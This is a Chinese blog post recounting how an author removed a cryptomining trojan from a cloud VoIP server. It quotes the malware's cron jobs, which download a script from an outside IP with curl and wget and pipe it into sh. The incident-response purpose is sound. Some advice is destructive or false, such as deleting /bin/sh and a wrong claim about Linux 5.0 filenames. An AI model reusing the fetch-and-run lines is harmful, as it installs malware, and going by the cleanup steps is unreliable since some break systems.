公司有台做voip的服务器最近CPU总是跑满,这机器自从交给厂家搭好环境后基本就没怎么管它,于是进去查看进程,top了下(见下图)
这个叫wnTKYg的进程很诡异,已经把CPU吃光了,上网一查,原来是中了挖矿的马。(啊,我的天。这只是一个单核1G内存的阿里云主机)既然被***了,那就得干掉它,下面是解决过程:
1:第一步要先找到这个wnTKYg文件实体,对了还有一个叫ddg.2020的进程。
[root@alitest ~]$ find / -name wnTKYg
/tmp/wnTKYg
[root@alitest ~]$ find / -name ddg*
/tmp/ddg.2020
2:接着把这两个文件的可执行权限拿掉。
[root@alitest ~]$ cd /tmp
[root@alitest /tmp]$ chmod -x ddg.2020 wnTKYg
3:杀掉这该死的进程。
[root@alitest /tmp]$ ps -ef | grep -v grep | egrep 'wnTKYg|ddg' | awk '{print $2}' | xargs kill -9
4:清除无用的定时任务。
[root@alitest /tmp]$ crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
这是挖矿程序生成的定时任务,不清除掉待会进程又起来了。
[root@alitest /tmp]$ echo > /var/spool/cron/root
因为这台机器上没有做定时任务,所以就直接清除掉了,如果有其他在用的定时任务,不要这样哦。
5:删除挖矿程序。
[root@alitest /tmp]$ rm -f ddg.2020 wnTKYg
6:清除.ssh/下的公钥文件。
[root@alitest ~/.ssh]$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUGqxNBCvqd+VNZTcSjyV3bs67sqwXSV+XztaY9QN/DDfeXEfWztdaXPbJvmLE34G
.........
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxV
.................
这台机器并没有上传过公钥文件,所以这就是***者留下的咯,删掉删掉。
[root@alitest ~/.ssh]$ rm -f authorized_keys
至此,***就已经清理完毕了。
小结:
在网上查了一下,发现大部分挖矿***都发生在redis上,而我这台服务器并没有部署redis,而是当时厂家给装的一套voip环境,因此我怀疑是voip软件的漏洞导致了此次事件,之后再联系厂家看看。通过这次服务器被***的案例,再一次印证了安全的重要性,安全无小事,继续努力吧。
继上面的挖矿木马解决后,很有自豪感,但是在今天2018-09-09收到阿里云的态势感知的通知又有挖矿病毒了,于是解决。。。
清除无用的定时任务。
这是挖矿程序生成的定时任务,不清除掉待会进程又起来了。
[root@alitest /tmp]$ echo > /var/spool/cron/root
[root@alitest /tmp]$ echo > /var/spool/cron/crontabs/root
[root@alitest /tmp]$ echo > /etc/cron.d/root
因为这台机器上没有做定时任务,所以就直接清除掉了,如果有其他在用的定时任务,不要这样哦。
注意:在/tmp/下有一个文件名字是 Aegis-
删除这个文件的时候报错:-bash: syntax error near unexpected token `('
百度之后要这样删除 rm -rf Aegis-\
在每个括号前面加上\,因为在linux5.0之后,是不能带有括号的,这个时候就需要转译了
上面的方法如果没有效果可以结合下面的方法一起使用
A:先把定时任务删除掉
rm -rf /etc/cron.d/root
rm -rf /var/spool/cron/crontabs
rm -rf /bin/sh /var/spool/cron/root
B:删掉重启系统后执行脚本
rm -rf /bin/httpdns
C:删掉挖矿执行脚本
rm -rf /tmp/kworkerds
D: 删除修top显示命令的脚本 (导致top查询不处理此挖矿进程)
rm -rf /usr/local/lib/libntp.so
E:删除python执行文件
rm -rf /tmp/.tmpa
F: 再用Top命令,就可以找出此耗cpu进程
7:kill 掉此进程
9:修改redis 密码,最好修改bind 为127.0.0.1